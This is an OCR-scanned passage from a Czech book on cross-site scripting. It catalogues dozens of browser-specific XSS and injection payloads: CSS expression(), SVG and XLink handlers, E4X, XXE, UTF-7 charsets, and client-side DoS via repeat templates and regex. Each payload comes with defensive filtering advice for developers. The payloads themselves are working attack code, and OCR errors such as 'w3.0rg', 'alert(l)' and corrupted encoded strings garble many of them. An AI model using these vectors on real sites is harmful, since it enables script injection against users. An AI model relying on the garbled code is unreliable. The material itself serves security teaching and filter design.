<div style="font-family:'foo&#10;;color:red;"';">XXX
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Alternativni syntaxe CSS v Internet Eploreru

Internet Explorer umoziuje pouzit pravou slozenou zavorku (}) jako oddélovace
skupin. Deklarace CSS se miize v quirk rezimu skladat z ndzvu vlastnosti, ktera je
nasledovana znakem rovna se (=).

<div style="font-family:foo}color=red;">XXX
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Uzavreni tagii akceptovanim atributi stylu

Uzaviraci tag bez uvedeného nazvu tagu muze v IE obsahovat atributy stylu, tak jak
muizete vidét v uvedeném piikladu. Pro dalsi zamlzeni Gitoku je pouzita falesna
vlastnost CSS a metoda expression() kombinovana s escapovanim znakd.

</ style=?=-=expression\28write (1)\29>
Ujistéte se, ze HTML filtr pocita i s pouzitim nepojmenovaného uzaviraciho tagu a

nepovazuje jej za prosty text. Také poéitat s CSS escapovanim a védét, jak mize
zamlzit jakykoliv styl uvniti tagu <STYLE> a atributu "style".
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IE6 a polovi¢ni/plna Sifka Unicode znaki

Tento piiklad ukazuje, jak mohou byt Unicode znaky poloviéni a plné $ife pouzity k
nahrazeni znakll z ASCII rozsahu. V piikladu byly tyto znaku pouzity u vyrazu
""expression".

<style>*{x:exXxpression(write(l))}</style>
V piipadé¢, ze navstévnici vasich webovych stranek stale pouzivaji IE6 ujistéte se, Ze

rozsah Unicode znaki halfwidth a fullwidth (U + FF00-FFEF) nelze pouzit u tagi a
styld, které jsou vkladany uzivatelem.
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SVG obrazky obsahujici XML data - s vypnutym JavaScriptem

Opera podporuje CSS vlastnost "content" pro atributy stylu. Obrazek ve formatu SVG

miZze obsahovat SVG stejné dobie jako HTML kod. Priklad ukazuje jak mize byt tag

<FORM> pouzit pro nalakani uzivatele ke kliknuti na tla¢itko a tim k provedeni

JavaScriptu. Stejné pracuje také pro SVG soubory vlozené pomoci tagu <IMG>.
<div style=content:url (test2.svg)></div>

<form xmlns="http://www.w3.0rg/1999/xhtml"” target=" top"
action="javascript:alert(1l)">
<input value="XXX" type="submit"/></form>
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Vice CSS "url" hodnot v IE 6

Internet Explorer podporuje vice "url" hodnot. Z nichz kazda miZze obsahovat utocny
kod. Oddélovaé mezi hodnotami "url" by mél byt bily znak (v tomto p¥ipadé "\x20").
<div style="list-
style:url (http://foo.f)\20url (javascript:alert(l));">X

Ujistéte se, Ze uzivatel nema povoleno vlozeni CSS, maximalné ty vlastnosti, které
jsou uvedeny ve whitelistu.
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Internet Explorer 6.0

Injekce stylu p¥i kopirovani innerHTML

Tento ptiklad ukazuje, ze Internet Explorer a Firefox automaticky dekoduji CSS
kodovani béhem kopirovani innerHTML.
<div id=d><div style="font-family:'sans\27\3B
color\3Ared\3B'">xX</div></div> <script>
with (document.getElementById ("d"))innerHTML=1innerHTML
</script>
Bud'te velmi opatrni pii pozdéjsi manipulaci v DOM s uzivatelskémi vstupy.
Vlastnost innerHTML nemusi vzdy obsahovat ptivodni data.

e 0O @ @& ©
Internet Explorer 6.0 FireFox 2.x

Internet Explorer 7.0 FireFox 3.x
Internet Explorer 8.0 Firefox 4.0




294 Cross-Site Scripting v praxi

pouziti komentaia z zamlZeni styli

Vsechny webové prohlize¢e umoziiuji pouzit CSS komentafe pred a po uvedené
vlastnosti nebo hodnoté. Kromé toho umoziuje Internet Explorer i pouziti komentait
uvnitf samotné hodnoty.V Internet Exploreru a Safari je také mozné pouzitim
nekodovaného nulového znaku vlozit komentafe uvniti tagu <STYLE>.
XXX<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]
*I1E,Safari*[0] /color:green;color:bl/*IE*/ue; }</style>
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Skok na selector skrz oddélovaé atributi

Podle zavedené praxe jsou selektory obvykle filtrovany méné dukladné filtrovacim
softwarem nez jiné ¢asti CSS kodu. Tento piiklad ukazuje, jak je mozné opustit CSS
blok k uvolnéni rukou a vlozit kod do mozna méné dikladné filtrované ¢asti.
<div 1d="x">XXX</div>
<style> #x{font-family:foo[bar;color:green;}
#yl;color:red; {} </style>
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Injekce prostého JavaScriptu

Spusténi kédu pomoci setterii ve Firefoxu

Pouziti setterit v Gecko/Firefoxu k vykonani JavaScriptu

<script>({set/**/$($){ /**/setter=$, =1}}).$=alert

</script>
_ T
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Vykonani JavaScriptu pies #proménné

V ukazce jsou pouzity #proménné a kruhové reference k zamaskovani vykonavaného
skriptu

<script> ({0:#0=alert/#0#/#0# (0) })</script>
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Vykonani JavaScriptu pomoci pi‘epsaného objektu ReferenceError

Tento JavaScriptovy utok ukazuje, jak lze vyvolat vykonani JavaScriptu pomoci
ptepsani objektu ReferenceError a vyvolani takové chyby. Totéz plati analogicky pro
vétsinu ostatnich chybovych objekti a je tieba na to dat pozor, pokud implementujete
JS sandboxy ¢i podobné techniky.
<script>ReferenceError.prototype. defineGetter ('name',
function () {alert (1) }),x</script>

Nedtveétujte DOMu v piipadé, Ze jej uzivatel mize ovlivnit vlozenim skriptu nebo
jinym zptsobem pfistupu skrz DOM
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Vykonani JavaScriptu proprietarni metodou _ noSuchMethod

Firefox podporuje nestandardni metodu _ noSuchMethod__, ktera miize byt vyuzita
jako spoustéci ve chvili, kdy je zavolana neexistujici metoda objektu. MiiZe ji byt
prifazen objekt Function, ¢imz se Gito¢nik vyhne pouziti function(){...}.
<script>Object. noSuchMethod =
Function, [{}][0].constructor. ('alert(l)') ()</script>
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Zfal§ovani informaci v address baru pomoci history.pushState()

API funkce history.pushState() a history.replaceState() umoziuji vytvofit a zménit
uzivatelovu historii. Utognik miize pouzit tuto funkci ke zméng informaci
zobrazenych v address baru, ale také i umisténi DOM objektu. Toho miize byt
zneuzito k phishingovému utoku nebo ke zmateni uzivatele. Ve chvili kdy Gtoénik
spusti na napadenych webovych strankach JavaScript, neni jiz mozné informacim v
adress baru véfit.

<script>history.pushState (0,0, "'/i/am/somewhere else');

</script>
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Injekce zalozené na E4X v prohlize€ich s
jadrem Gecko

Automaticky vykonany kéd zaloZeny na E4X

Tento tag SCRIPT se pokousi vlozit tutéz stranku, v niZ je obsazen, a vykonat skript
uzavfeny do E4X {}. Koncova sekvence ;1 je pouzita proto, aby Firefox nevyhodil pii
vkladani chybu.

<script src="#">{alert(l) }</script>;1

E4X je extrémné nebezpecny, pokud muze libovolna stranka vlozit libovolné validni
XML a zminény stfednik jako omezovac. Efektivni ochrana spociva ve spravném
DOCTYPE - nebo v nevalidnim zapisu. Existuje mnohjo variant koncového
omezovace - dokud to bude platny JavaScript a stranka nebude naznacovat, ze je
XML-only, bude to fungovat (;1, ,1, ., atd.)
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Kéd v JS/HTML, vyuZivajici UTF-7 a E4X ke cross-domain p¥istupu k HTML

Pokud mtize utocnik vlozit sekvenci znaki zacinajici .toXMLString(), mtize tak vlozit
stranku do tagu SCRIPT v bézné strance a ziskat tak plny ptistup k DOM vlozené
stranky - napii¢ doménami a protokoly. VSimnéte si, Ze cely Skodlivy skript je zapsan
v UTF-7. To je mozné proto, ze tag SCRIPT muize pomoci atributu charset urcit
znakovou sadu, ktera bude pouzita.

+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw—

/div+AD4APA-/body+AD4APA-/html+AD4 -
.toXMLString () .match(/.*/m),alert (RegExp.input) ;

Ujistéte se, ze vSechny stranky maji definovanou znakovou sadu, napt. UTF-8. Stejné
tak preved’te vstupni data z UTF-7 pfed jejich oSetfenim pomoci metod jako
htmlentities(). Viechny webové stranky, obsahujici citliva data, by mély mit uvedeny
DOCTYPE.
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E4X pouzity k uzavieni otevireného tagu <SCRIPT> vytvorenim E4X objektu.

Toto je osidné. Firefox umoziuje dokonce pouzit oteviraci tag <SCRIPT> s novym
objektem E4X (<b/>) vytvofenym soucasné v ramci JavaScriptu. Alert mize byt
spustén proto, ze dodatecna oteviraci lomena zavorka (<) je chapana jako znak
porovnani velikosti (<b/> <varovani (1)).

<b><script<b></b><alert (l)</script </b>
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E4X uzito k zavieni oteviceného tagu <SCRIPT> a pouZziti {}

V tomto piikladu je objekt E4X pouzit k uzavieni pootevieného tagu <SCRIPT> a k
naslednému spusténi kodu v globalnim rozsahu pies E4X oddélovace, kterymi jsou
slozené zavorky. Tato technika nebude fungovat, pokud jiz Firefox pouziva
integrovany HTMLS5 parser (html5.enable = true).

<script<{alert (1) }/></script </>

e ©® @ @ e

Internet Explorer 5.0 Opera 8.x FireFox 1.x Chrome 3.0 Safari 3.0
Internet Explorer 6.0 Opera 9.x FireFox 2.x Chrome 4.0 Safari 4.0
Internet Explorer 7.0 Opera 10.x FireFox 3.x Chrome 5.0 Safari 5.0
Internet Explorer 8.0 Opera mobile Firefox 4.0 Chrome 6.0

Internet Explorer 9.0




Injekce skrz vlastnosti a metody DOM

Samovkladaci kod pouziva DOM worker a poslani zpravy, ktera spusti vykonani
skriptu
0?<script>Worker ("#") .onmessage=function( )eval (_.data)
</script> :postMessage (importScripts ('
data:;base64,cG9zdE11c3NhZ2U0J2FsZXJOKDEpJyk'))
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Ukazka volani eval(), skrytého v objektu crypto ve Firefoxu

<script>crypto.generateCRMFRequest ('CN=0',0,0,null,
'alert(1l)',384,null, 'rsa-dual-use')</script>
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Injekce zalozené na JSON

Self-hijacking textového Fetézce JSSON

Pokud jsou textové fetézce vlozené uzivatelem soucasti JSON fetézctl, predstavuje
znak apostrofu ' bezpecnostni riziko.

<script>[{'a':0Object.prototype. defineSetter ('b',
function () {alert (arguments[0])}), 'b':['secret']}]</script>
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Injekce ukryté v SVG

Vykonani JavaScriptu v SVG pomoci elementu <G> a atributu onload

SVG soubory mohou vykonat JavaScript pomoci udalosti onload u libovolného
elementu i bez uzivatelské interakce

<svg xmlns="http://www.w3.0rg/2000/svg"><g
onload="javascript:alert (1) "></g></svg>

SVG soubory nejsou diivéryhodné jako tieba obrazky - obzvlast pti uploadu. Soubor
SVG muze obsahovat HTML data stejné jako obsluhu udalosti.
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XSS uzitim SVF fonti v Opera 10

Opera 10.X podporuje pouziti SVG fonti a umoziuje spustit kod JavaScriptu ve
chvili na¢teni souboru s fontem. Uvedeny piiklad spousti vlozeny kod pti zpracovani
udalosti load po nacteni souboru s fontem. ke spusténi kodu neni vyzadovana
uzivatelska interakce.
<?xml version="1.0" standalone="no"?>
<html xmlns="http://www.w3.0rg/1999/xhtml">
<head><style type="text/css">@font-face {font-family: y;
src: url("%svg front path%#x") format ("svg");}
body {font: 100px "y";}</style></head>
<body>Hello</body></html>

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.0rg/Graphics/SVG/1.1/DTD/svgll.dtd">
<svg onload="alert(l)"
xmlns="http://www.w3.0rg/2000/svg">
<defs><font id="x">
<font-face font-family="y"/></font></defs></svg>
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Opera 10.x

Spusténi JavaScriptu v SVG uzitim tagu <SCRIPT>

SVG soubory mohou spustit kod JavaScriptu obsazeny v tagu <SCRIPT> bez
interakce uzivatele.
<svg xmlns="http://www.w3.0rg/2000/svg">
<script>alert (1l)</script></svg>
SVG soubory by nemély byt povazovany za obrazky - zvlasté v piipadech kdy
pfichazi pies upload. SVG soubor mize obsahovat jakykoliv HTML kod véetné
zracovani udalosti u nativnich prvki.
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Spusténi JavaScriptu udalosti load v elementu SVG

Element SVG umoziuje automatické spusténi skriptu udalosti load bez vlozeni
dalsich SVG dat.

<svg onload="javascript:alert(1)"
xmlns="http://www.w3.0rg/2000/svg"></svg>

Toto neni tak docela chyba k opravé. Jde o zadouci chovani, které ovSem rozsituje
moznosti XSS.
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Safari 3.0
Opera 9.x Chrome 4.0 Safari 4.0

Opera 10.x FireFox 3.x Chrome 5.0
Firefox 4.0 Chrome 6.0

Spusténi jednoduchého pasivniho JavaScriptu skrz XLink

Prohlizece, které podporuji SVG, vynucuji podporu XLink. Parametr atributu
"xlink:actuate" u tagu <A> je pevny "onRequest".
<svg xmlns="http://www.w3.0rg/2000/svg">
<a xmlns:xlink="http://www.w3.0rg/1999/x1link"
xlink:href="javascript:alert (1) ">
<rect width="1000" height="1000" fill="white"/></a></svg>
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Opera 9.x Chrome 4.0 Safari 4.0

Opera 10.x FireFox 3.x Chrome 5.0
Firefox 4.0 Chrome 6.0

SVG zpracovani udalosti - vloZeni kédu skrz "set" a "animate"

Google Chrome a Safari podporuji zpracovani udalosti u prvki <set> nebo
<animate>. Hodnota atributu "attributeName" urcuje spoustéci udalost, zatimco
atribut "to" obsahuje samotny kod JavaScriptu.
<svg xmlns="http://www.w3.0rg/2000/svg">
<set attributeName="onmouseover" to="alert (1)"/>
<animate attributeName="onunload" to="alert (l)"/></svg>
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SVG spusténi aktivniho JavaScriptu skrz XLink v Opere

Obsah XML-odkazii bude automaticky vloZen do aktualniho dokumentu. Kombinace
"onLoad" (hodnota atributu xlink:actuate) a "embed" (hodnota atributu xlink:show) s
potencialné nebezpecnymi SVG prvky.
<svg xmlns="http://www.w3.0rg/2000/svg"
xmlns:xlink="http://www.w3.0rg/1999/x1link">
<animation xlink:href="javascript:alert(l)"/>
<animation xlink:href="data:text/xml, %3Csvg
xmlns='http://www.w3.0rg/2000/svg"
onload='alert (1) '$3E%3C/svg%3E"/>
<image xlink:href="data:image/svg+xml,$3Csvg
xmlns='http://www.w3.0rg/2000/svg"
onload='alert (1) '$3E%3C/svg%3E"/>
<foreignObject xlink:href="javascript:alert (1l)"/>
<foreignObject xlink:href="data:text/xml,%3Cscript
xmlns="'http://www.w3.0rg/1999/xhtml'%$3Ealert (1) %3C/script%3E"/>
</svg>
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Opera 9.X
Opera 10.x

Pouziti SVG elementu <handler>

Specifikace SVG Tiny 1.2 poskytuje prvek <handler>, ktery je "mostem" mezi SVG a
XML udalostmi. Tento element mize obsahovat kod JavaScriptu.
<svg xmlns="http://www.w3.0rg/2000/svg">
<handler xmlns:ev="http://www.w3.0rg/2001/xml-events"
ev:event="load">alert (1)</handler> </svg>
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Pouziti SVG elementu <felmage> a data URI

SVG umoziuje pouziti efektu filtri na libovolny z viditelnych prvka. Filtr felmage
umoziuje zaclenéni dalSich soubord, stejné tak jako data URL Se zakeiné vytvorenym
data URI je moiné spustit kod JavaScriptu bez spoluticasti uzivatele. Seznam vsech
prvki, které mohou byt animovany, naleznete v dokumentaci.
<svg xmlns=http://www.w3.0rg/2000/svg
xmlns:xlink="http://www.w3.0rg/1999/x1link">
<felImage> <set attributeName="xlink:href"
to="data:image/svg+xml;charset=utf-8;base64,
PHN2ZyB4bWxucz0iaHROcDovL3d3dy53My5vemecvMjAwMC9zdmeciP
JxzY3JpcHQ%$2BYWx1cnQoMSk8L3NjcmlwdD48L3N22z4NCg$3D%$3D" />
</felmage> </svg>
Ujistéte se, ze uzivateli vlozena SVG data a SVG soubory jsou skutecné obrazky a ne
XML dokumenty. Povaha SVG totiz umoziuje zahrnout do obsahu téméf jakakoliv
data ve formatu XML, v€etné JavaScriptu, ktery mize vést XSS.
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Opera 10.x
Opera mobile

Spusténi JavaScriptu v SVG Tiny 1.2 bez uZivatelovi interakce

Opera poskytuje podporu pro SVG Tiny 1.2 cilenou na mobilni zafizeni, ktera
umoziuje pomoci libovolného tagu spustit JavaScript bez uzivatelské interakce. Tag je
aplikovan s ukazatelem udalosti na data URI obsahujici jeji obsluhu. Dilezity je hash
na konci data URI slouzici k identifikaci osluhy. Je mozné se odkazovat také na prvky
v SVG skrz jejich ID nebo externi zdroje.
<svg xmlns="http://www.w3.0rg/2000/svg" id="foo">
<x xmlns="http://www.w3.0rg/2001/xml-events" event="load"
observer="foo" handler="data:image/svg+xml,
%3Csvg%20xmlns%$3D%22http%s3A%2FS2Fwww.w3.0rg
%2F2000%2Fsvg%22%3E%0A%3Chandler$20xml1%3Aid%3D%22bar%22%20
type%3D%22 application%2Fecmascript%22%3E alert (1)
$3C%2Fhandler%3E%$0A%3C%2Fsvg%3ES$0A#bar" /> </svg>
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SVG payload obfuscation s gzipped HTML a MIME typ image/svg-xml

Opera umoziuje zobrazeni komprimovanych SVG obrazkl bez uvedeni obvykle
nutnych koédovacich hlavi¢ek. Funguje pro libovolna data v oblasti, pro kterou plati
content type image/svg+xml. V§imnéte si, ze komprimovana data mouhou byt
zkracena. Opera je bude stale akceptovat a vyrenderuje <srcipt> ¢imz spusti alert(1).
Vétsina ostatnich parsert ztroskota. Zkraceni vsak mize byt zna¢né. Naptiklad gzip
1.3.12 vklada asi 50+ MB binarniho balastu. Uvedeny piiklad neobsahuje zadny
skute¢ny SVG kod, pouze tag <SCRIPT> s atributem XHTML udavajicim jmenny
prostor.
<iframe src="data:image/svg-xml,
%1F%$8B%08%00%00%00%00%00%02%03%B3) N.
%CA%2C (Q%SAB%CB8SCDSCI%2BSBOUSCA () ) $BOSD2%D7%2F%2F%2F
%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8 ($CI9%CDQO%B2KS
CCI-*%D10%D4%B4%D1%87%E8%B2%03"></1iframe>
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Opera 10.x
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Spusténi JavaScriptu injektovanim stylu v SVG (1)

SVG podporuje nékolik novych CSS vlastnosti (clip-path, fill, filter, marker, marker-
end, marker-mid, marker-start, mask, stroke), které mohou odkazovat na externi SVG
zdroje. Tyto vlastnosti mohou vystupovat také jako samostetné atributy. V ramci
externiho SVG mohou obsahovat informace ozivujici stavajici SVG dokument.
Priklad ukazuje animaéni odkazy, ale muze zahrnovat i animace a jiné prvky.
Upozoriujeme, ze Opera neukazuje zménu adresy odkazu, pokud nad nim nestoji
kurzor.

<svg xmlns="http://www.w3.0rg/2000/svg"><a id="x">

<rect fill="white" width="1000" height="1000"/></a>

<rect fill="white" style="clip-
path:url (test3.svg#a);fill:url (#b) ; filter:url (#c);
marker:url (#d) ;jmask:url (#e) ; stroke:url (#£f);"/> </svg>

<svg xmlns="http://www.w3.0rg/2000/svg"
xmlns:xlink="http://www.w3.0rg/1999/x1link">
<clipPath id="a">
<set xlink:href="#x" attributeName="xlink:href"
begin="1s" to="javascript:alert (l)" />
</clipPath>
<pattern id="b">
<set xlink:href="#x" attributeName="xlink:href"
begin="2s" to="javascript:alert (2)" />
</pattern>
<filter id="c">
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<set xlink:href="#x" attributeName="xlink:href"
begin="3s" to="javascript:alert(3)" />
</filter>
<marker id="d">
<set xlink:href="#x" attributeName="xlink:href"
begin="4s" to="javascript:alert(4)" />
</marker>
<mask id="e">
<set xlink:href="#x" attributeName="xlink:href"
begin="5s" to="javascript:alert(5)" />
</mask>
<linearGradient id="f">
<set xlink:href="#x" attributeName="xlink:href"
begin="6s" to="javascript:alert(6)" />
</linearGradient> </svg>
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Internet Explorer 5.0 Opera 8.x FireFox 1.x Chrome 3 Safari 3.0
Internet Explorer 6.0 Opera 9.x FireFox 2.x Chrome 4.0 Safari 4.0
Internet Explorer 7.0 Opera 10.x FireFox 3.x Chrome 5.0 Safari 5.0
Internet Explorer 8.0 Opera mobile Firefox 4.0 Chrome 6.0

Internet Explorer 9.0

Spusténi JavaScriptu injektovanim stylu v SVG (2)

Tento piiklad ukazuje, jak mohou SVG markery umoznit vkladani externich odkazi s
javascript: URI do aktualniho dokumentu.
<svg xmlns="http://www.w3.0rg/2000/svg"> <path d="MO0,0"
style="marker-start:url (testd.svg#a)"/> </svg>

<svg xmlns="http://www.w3.0rg/2000/svg"
xmlns:xlink="http://www.w3.0rg/1999/x1link">
<marker id="a" markerWidth="1000" markerHeight="1000"
refX="0" refy="0">
<a xlink:href="http://google.com">
<set attributeName="xlink:href" to="javascript:alert(l)"
begin="1s" />
<rect width="1000" height="1000" fill="white"/>
</a> </marker> </svg>
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Injekce svazané s X(HT)ML

XML stylesheet vykona JavaScript v Opefe

Opera 9.x a 10.0 umoziuje pouzit XML stylesheets s JavaScriptovymi URI a vykonat
tak JavaScript bez uzivatelské interakce. Utok funguje i pokud je stranka poslana jako
text/html.

<?xml-stylesheet href="javascript:alert(l)"?>

Ujistéte se, ze uzivatel nesmi vlozit XML stylesheet nebo tagy, které neodpovidaji
<\w+. Tento druh (itoku mize byt identifikovan jen podle <\?\w+
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Opera 10.x
Opera mobile

Entity v tagu SCRIPT a podobnych

Podle specifikace smi byt v pfipadé, ze dokument je poslan jako X(HT)ML, vlozeny
do elementti SCRIPT a STYLE HTML entity.

<script xmlns="http://www.w3.0rg/1999/xhtml">
&#x61;16#x65; rt&#40;1)</script>

Ujistéte se, ze vase filtry a detektory priniku respektuji fakt, ze SCRIPT, STYLE a
dalsi tagy mohou obsahovat entity.
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VloZeni libovolného payloadu skrz XML Externi Entity (XXE)

Chrome a Safari umoznuji pouziti externich XML entit k referenci payloadu pro
entitu. Ptiklad ukazuje entitu &x;, ktera je naplnéna obsahem souboru. Dokument
musi byt dodan jako XML nemo XHTML.

<!DOCTYPE x[<!ENTITY x SYSTEM "test.xxe">]><y>&x;</y>

<script xmlns="http://www.w3.0rg/1999/xhtml">alert (1)
</script>
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Chrome 6.0

Spusténi JavaScriptu skrz XML-stylesheet

Opera podporuje xml-stylesheet s direktivou data:. To nabizi mnoho cest pro spusténi
JavaScriptu uzitim XSL (XSLT). Pokud ulozis tento kod do externiho souboru ve
stejné doméné, pak bude fungovat ve viech webovych prohlize¢ich. Také je mozné se
odvolat na id stylu, ktery je vlozen v aktualnim dokumentu (href="#xss".
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl"
href="data:, %$3Cxsl:transform version='1.0"'

xmlns:xsl='http://www.w3.0rg/1999/XSL/Transform'
id="xss'$3E%$3Cxsl:output method="'html'/%$3E%3Cxsl:template

match="/'%$3E%3Cscript%3Ealert (1) %$3C/script%3E%3C/

xsl:template%$3E$3C/xsl:transform$3E"?> <root/>
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Spusténi pasivniho JavaScriptu skrz XLinks

Prohlizece zalozené na G-¢ku, jako je tieba Firefox, mohou pouzivat XLink. Ty
mohou obsahovat URI v podobé direktivy javascript:, jejichz kod se spusti po kliknuti
na nektery z téchto XLinki.
<doc xmlns:xlink="http://www.w3.0rg/1999/x1link"
xmlns:html="http://www.w3.0rg/1999/xhtml">
<html:style /><x xlink:href="javascript:alert(1l)"
xlink:type="simple">XXX</x> </doc>
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FireFox 3.x

XML spusténi JavaScriptu pies atribut style v IE

IE podporuje atribut styl na xml strankach. JavaScript tak mize byt proveden pomoci
metody expression() u daného tagu.

<?xml-stylesheet type="text/css"?><root
style="x:expression (write(1l))"/>

e 0O @ & @
Internet Explorer 6.0

Internet Explorer 7.0
Internet Explorer 8.0

Opera WML - Spusténi JavaScriptu skrz udalost timer

Opera podporuje WML soubory (Wireless Markup Language). Ve chvili, kdy ma

soubor piiponu wml, ptedpoklada Opera, Ze jde o wml a odpovidajicim zpisobem jej

zpracovava. Pomoci ¢asovace a vyuzitim nasledného pfesmérovani je mozné spustit

kod JavaScriptu bez zasahu uzivatele.

<card xmlns="http://www.wapforum.org/2001/wml">
<onevent type="ontimer">
<go href="javascript:alert(l)"/></onevent>

<timer value="1"/></card>
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Libovolna injekce kédu skrz XML externi DTD v IE

Internet Explorer bude renderovat doctype entity ve jmeném prostoru "html" ve chvili,
kdy je zobrazen uzivatelem definovany tag XML stysheet.
<?xml-stylesheet type="text/css"?>
<!DOCTYPE x SYSTEM "test.dtd"><x>&x;</x>

<!ENTITY x "&#x3C;html:img&#x20;src="x"'&#x20;xmlns:html="
http://www.w3.0rg/1999/xhtml"'&#x20;
onerror='alert (1) '/&#x3E;">
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Internet Explorer 8.0

Spusténi JavaScriptu deklaraci XML ATTLIST

Deklarace XML ATTLIST muize byt pouzita k vytvofeni atributt a pfifazeni hodnot u
odpovidajicich tagi uvniti deklarace DOCTYPE. Volbou spravné kombinace nazvu a
atributu umozni ATTLIST deklarace spustit kod JavaScriptu bez spolutcasti
uzivatele.
<!DOCTYPE x [ <!ATTLIST img xmlns CDATA
"http://www.w3.0rg/1999/xhtml" src CDATA "x" onerror
CDATA "alert(l)"> ]><img />
V ptipadé, ze jsou webové stranky definovany jako XML nebo XHTML se ujistéte, ze
utocnik nema moznost vlozit data do DOCTYPE, nebo vytvofit nové ATTLIST
direktivy.
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Vektory injekce kédu 311

Libovoln4 injekce kodu skrz XSL + XDR-schema v IE

Uzitim XSL je automaticky ur¢en jmenny prostor "html". Chybé&jici atributy v tagu
<img> jako "onerror" jsou ziskany z XDR-schama a nasledné spusti kod JavaScriptu.

<?xml-stylesheet type="text/xsl" href="#"?2>
<img xmlns="x-schema:test.xdr"/>

<?xml version="1.0"?>
<Schema name="x" xmlns="urn:schemas-microsoft-com:xml-
data"> <ElementType name="img">
<AttributeType name="src" required="yes" default="x"/>
<AttributeType name="onerror" required="yes"
default="alert (1)"/> <attribute type="src"/>
<attribute type="onerror"/> </ElementType> </Schema>
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Internet Explorer 7.0
Internet Explorer 8.0

Spusténi JavaScriptu skrz XLink

FF podporuje atribut "xlink:actuate" a povoluje zobrazeni xlinkl bez pfidanych styli.
Defaultnim jmennym prostorem je "html".
<x xmlns:xlink="http://www.w3.0rg/1999/xlink"
xlink:actuate="onLoad" xlink:href="javascript:alert(l)"
xlink:type="simple"/>
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Spusténi JavaScriptu skrz XML stylesheet, data URI a expression()

Internet Explorer 8 a 9 podporuje data URI a tak jsou schopny vlozit touto cestou
stylesheet. Pouzitim tagu xml-stylesheet a data URI obsahujici expression() je mozné
spustit kod JavaScriptu bez uzivatelské interakce.

<?xml-stylesheet type="text/css"
href="data:, *$7bx:expression(write (2));%7d"?>
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Zamaskovani nebezpeénych parametrit proménnymi wml

Ptiklad demonstruje pouziti nedeklarované WML proménnych (jsou ignorovany).
Tyto rpoménné mohou byt deklarovany tagy <setvar>, <input> a <select>. Jmenny
prostor nalezi pouziti v souboru XML. V souborech WML muizete také pouzivat
mnozstvi HTML tagg.
<x:template xmlns:x="http://www.wapforum.org/2001/wml"
x:ontimer="$ (x:unesc)j$ (y:escape)as (z:noecs)vs (x)as (y)s$
(z)cript$x:alert (1) "><x:timer value="1"/></x:template>
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Spusténi JavaScriptu skrz XML zachytavani udalosti v Opere

Webovy prohlize¢ pouziva externi XML-event handler pro udalost "load" pro spusténi
JavaScriptu bez uzivatelské interakce.

<x xmlns:ev="http://www.w3.0rg/2001/xml-events"
ev:event="1load" ev:handler="javascript:alert (1) //#x"/>
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Libovolna injekce kédu pies XML udalosti v Opere

Browser nacita externi xml-event handler, ktery obsahuje kod JavaScriptu. Tento
ptiklad pracuje také s data URL
<x xmlns:ev="http://www.w3.0rg/2001/xml-events"
ev:event="load" ev:handler="test.evt#x"/>

<script xmlns="http://www.w3.0rg/1999/xhtml"
id="x">alert (1) </script>
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Injekce zalozené na UTF-7 a dalSich
exotickych znakovych sadach

XSS via x-imap4-modified-utf7 (1)

Tento kod ukazuje, jak pouzit UTF7 k vytvoteni velmi obtizné desifrovatelného XSS
utoku
<meta charset="x-imap4-modified-
utf7">&ADz&AGN&AGO&AEf&§ACA&AHMEAHI &AGO&ADO &AGN&ACAS
AG8Abg&AGUACgBYAGS8ACgAIAGEADARIAHIAJAROADEAKQEACAAPAB]
Ujistéte se, ze do stranky nemuize byt vlozen zadny <META> tag a ze webova stranka
ma definovanou znakovou sadu.

e D @ @& o

L

FireFox 2.x
FireFox 3.x




314 Cross-Site Scripting v praxi

XSS via x-imap4-modified-utf7 (2)

Tento kod ukazuje, jak pouzit UTF7 k vytvofeni velmi obtizné desifrovatelného XSS
atoku

<meta charset="x-imap4-modified-utf7">&
<script&S1&TS&l>alert&A7& (1) &R&UA; &&<&A9&11/script&aXs&>

Ujistéte se, ze do stranky nemize byt vlozen zadny <META> tag a ze webova stranka
ma definovanou znakovou sadu.
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XSS via &#188 a &#190 v MacFarsi, MacArabic a MacHebrew

Chybna implementace znakt ve Firefoxu umoziuje vutvaret HTML struktury bez
obvyklych znakl < a >. VétSina ovlivnénych znakovych sad je z rodiny Mac - jako
mac-farsi, mac-arabic a mac-hebrew.
<meta charset="mac-farsi">
YiscriptYalert (1)%/script
Data od uzivatele nesmi nikdy obsahovat META tag, kterym by mohl pfenastavit
kodovani. Pokud je web nakodovan v jedné z vyse uvedenych znakovych sad, tak se
ujistéte, ze je vaSemu filtru znamo, ze Firefox bere znaky &#60; (<) a &#188; jako
totozné
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Utoky DoS zaméiené na klienta

DoS u klienta pomoci repeat templates

Tento utok vyuziva syntaxi opakovacich $ablon, definovanych v draftu WebForms
2.0. Pouzitim vnotenych tagi bude $ablona generovat obsah znovu a znovu, dokud
prohlize¢ nezastavi béh nebo nespadne.
<x repeat="template" repeat-start="999999">0
<y repeat="template" repeat-start="999999">1</y></x>

Nedovolte uzivatelim vkladat HTML s atributy repeat-start nebo repeat-end. Pokud je
to nutné, zkontrolujte, zda jsou pouzita ¢isla rozumné mala.
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Opera 10.x

DoS v prohlize¢i pomoci chybného regularniho vyrazu

Opera 10 dovoluje ovéfeni na strané klienta pomoci regularnich vyrazi v atributu
pattern. Pokud je v tomto atributu zadan zakefné zapsany regularni vyraz, lze tim
klienta pomoci kratké znakové sekvence zatizit
<input pattern="((a+.)a)+$

value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaal>
Nedovolte uzivateliim vlozit HTML s atributem "pattern" a ujistéte se, ze vase vlastni
regularni vyrazy pouzité pro validaci jsou robustni a nejsou nachylné k podobnym
DoS tutokam.
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DoS qitok proti formulafi pomoci onblur=focus() a autofocus

Tento jednoduchy utok ukazuje, jak kombinace "autofocus" a "onblur" mize snadno
udélat formulaf nepouzitelnym.

<input onblur=focus () autofocus><input>

Uzivatelem zadavany HTML kod by nemél obsahovat atribut "autofocus".
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Injekce vyuzivajici HTML behavior a binding

Pouziti onbegin a HTML+TIME k vykonani JavaScriptu

HTMLATIME umoziuje béznému tagu vyvolat JavaScript pomoci obsluhy udalosti
begin
X<x style='behavior:url (#default#time2)’
onbegin="write (1) = >
Nedovolte vlastnost "behavior" v uzivatelském CSS ¢i HTML. Pomérné neznamé API
HTMLATIME nabizi velmi mnoho zptsobi, jak vykonat skript, at’ uz s uzivatelskou
interakci ¢i bez ni.
